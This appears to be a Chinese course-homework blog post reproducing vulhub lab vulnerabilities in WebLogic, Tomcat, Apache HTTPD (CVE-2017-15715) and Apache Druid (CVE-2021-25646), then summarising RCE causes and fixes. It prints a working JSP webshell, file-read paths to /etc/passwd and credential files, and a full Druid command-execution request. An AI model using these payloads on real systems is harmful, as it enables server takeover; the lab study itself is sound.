第8天作业

一、在vps安装docker和docker-compose

安装docker:apt-get install docker.io

安装docker-compose:apt-get install docker-compose

安装成功截图:

二、 上课涉及的vulhub漏洞复现与漏洞原因说明

1、Weblogic 常规渗透测试环境

1.1、在vulhub/weblogic/weak_password目录下输入docker compose up -d启动环境,环境启动后,访问http://your-ip:7001/console,即为weblogic后台

1.2、 本环境存在弱口令,用户名输入weblogic,口令输入Oracle@123即可访问后台管理界面。由于本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd即可成功读取passwd文件。接下来利用该漏洞来获取密码。

1.3、weblogic密码使用AES(老版本3DES)加密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml。因此接下来用burpsuite抓包。访问http://your-ip:7001/hello/file.jsp?path=./security/SerializedSystemIni.dat用bp抓包 ,将包发送到重放器发送,即可得到带有密文的响应包,选中响应包中那段奇怪的字符,右键选择“copy to file”,将其保存为SerializedSystemIni.dat。

1.4、同样,访问 http://your-ip:7001/hello/file.jsp?path=./config/config.xml,用bp截取后将包发送给重放器在发送出去,从返回的响应包中能找到密钥(<node-manager-password-encrypted>的值),选中密钥后右键copy to file保存下来

1.5、启动目录下的weblogic_decrypt.jar,将密文密钥载入后解密,可以看到密码也是Oracle@123。

 

1.6、 进入后台管理界面后,点击左边的“部署”,然后点击“安装”。

1.7、准备好木马shell脚本,新建文件shell.jsp,在文件中输入以下内容。然后用jar命令将shell.jsp打包为shell.war。

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

 

1.8、点击“安装”后到上传文件界面,点击“上载文件”将shell.war上传。

 

1.9、上传成功后一直下一步,最后点保存。

 

1.10、打开蚁剑连接shell,右键“添加数据”输入URL地址:http://192.168.226.133:7001 /shell/shell.jsp和连接密码:passwd,然后测试连接。

 

1.11、打开虚拟终端,输入whoami,得到回显。

 

漏洞原因:

 1、弱口令漏洞:管理员为后台设置登录密码时过于简单。

 2、前台存在任意文件读取漏洞:由于前端程序没有对用户输入进行充分的验证和过滤而导致的。

2、Tomcat7+ Weak Password && Backend Getshell Vulnerability 

2.1、在vulhub/tomcat/tomcat8目录下输入docker compose up -d启动环境,环境启动后,访问http://your-ip:8080.

2.2、点击右边“Manager App”进入登录页面,存在弱口令用户名和密码tomcat;tomcat。输入即可进入后台控制界面。

2.3、在后台管理界面选择shell.war并上传。

2.4、访问http://192.168.226.133:8080/shell/shell.jsp,已经上传成功。

 

2.5、连接蚁剑,输入URL地址和passwd,测试连接。

 

2.6、输入ls和whoami命令,得到回显。

漏洞原因:

 1、弱口令漏洞:登录密码设置太简单,容易被爆破。

 2、后台文件上传漏洞:没有对后台文件上传进行过滤和限制,导致攻击者可以上传webshell获取服务器权限。

3、Apache HTTPD 换行解析漏洞(CVE-2017-15715) 

3.1、在vulhub/httpd/CVE-2017-15715目录下输入docker compose build和docker compose up -d启动环境,环境启动后,访问http://your-ip:8080。直接就是非常简洁的文件上传界面,直接上传木马文件1.php提示错误。

3.2、 在vulhub/httpd/CVE-2017-15715目录下输入docker exec -it <containerID> /bin/bash进入容器,输入cat index.php查看页面源代码。

3.3、在bp重放界面,点击Hex,在evil.php前面(0d 0a)加上0a,然后发送,可以看到没有“bad file”提示,说明1.php上传成功。

 

3.4、访问http://192.168.226.133:8080/evil.php%0A得到phpinfo()信息。

漏洞原因:

换行解析漏洞:Apache在2.4.0-2.4.29版本中存在的一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,因此在上传恶意文件时可以成功的绕过黑名单。

4、 Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)

4.1、vps和本机都会炸,因此采用同学搭好的环境进行漏洞复现。访问http://ip:8888/即可进入以下界面。

4.2、点击load data->local disk,然后点击connect data准备上传木马。

 

4.3、在左边框中任意输入值,在点击“apply”前开始bp抓包。

 

4.4、截获数据包发送到重放器,将请求包按照以下方式构造,构造完后发送,即得到id命令。

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

 

漏洞原因:

 Apache Druid RCE(远程代码执行漏洞):Apache Druid是一个专为大数据集的快速切片分析(OLAP查询)而设计的实时分析数据库。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中对用户高度信任,未对请求包进行过滤限制,因此经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

三、总结RCE漏洞的原理和利用条件及解决方案 

1、RCE漏洞的原理

RCE(远程代码执行)漏洞是一种安全漏洞,它允许攻击者通过Web端或客户端提交恶意构造的代码或命令,由于服务器端没有对这些输入进行充分的过滤或存在逻辑漏洞,导致这些恶意代码或命令在服务器端执行。

  1. 接口设计不当:服务器应用在设计时,为了提供某些功能(如文件操作、系统监控等),需要向用户开放远程命令或代码执行的接口。如果这些接口没有对用户输入进行严格的验证和过滤,就可能被攻击者利用。
  2. 代码执行函数的使用:服务器端代码中使用了能够执行系统命令或外部代码的函数,如system()exec()shell_exec()eval()等,并且这些函数的参数没有得到有效控制或过滤,使得攻击者可以通过精心构造的输入来执行任意命令或代码。
  3. 反射和动态调用:在一些复杂的系统中,通过反射机制或动态调用方式执行代码也可能引入RCE漏洞。如果系统没有对这些机制进行适当的安全控制,攻击者就可能利用这些机制执行恶意代码。

2、RCE漏洞的利用条件

RCE漏洞的利用通常需要满足以下条件:

  1. 存在可执行的命令或代码接口:服务器应用提供了能够执行系统命令或外部代码的接口。
  2. 输入可控:攻击者能够控制接口的参数或输入数据。
  3. 过滤不严或存在逻辑漏洞:服务器端对输入数据的过滤不严或存在逻辑漏洞,使得攻击者能够绕过过滤机制。

3、RCE漏洞的解决方案

针对RCE漏洞,可以采取以下解决方案来降低风险:

  1. 严格输入验证:对所有外部输入进行严格的验证和过滤,确保输入数据符合预期格式和范围。对于需要执行系统命令或外部代码的接口,应尽量避免使用,或采用更加安全的替代方案。
  2. 限制执行权限:尽可能降低执行系统命令或外部代码的权限,确保即使存在漏洞,攻击者也无法获得过高的权限。
  3. 使用安全函数:尽量避免使用eval()system()exec()等能够执行系统命令或外部代码的函数。如果必须使用这些函数,应确保对其参数进行严格的验证和过滤。
  4. 更新和补丁:及时更新服务器应用和相关组件,以修复已知的安全漏洞。同时,关注行业内的安全动态,及时应用安全补丁。
  5. 安全配置:合理配置服务器和应用的安全参数,如禁用不必要的服务和端口、设置强密码和访问控制等。
  6. 代码审计:定期对服务器应用进行代码审计,检查是否存在潜在的安全漏洞。特别是关注那些能够执行系统命令或外部代码的代码段。
  7. 监控和日志:建立完善的监控和日志系统,及时发现并响应潜在的攻击行为。通过日志分析,可以追溯攻击者的行为轨迹,为后续的应急响应和漏洞修复提供依据。

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值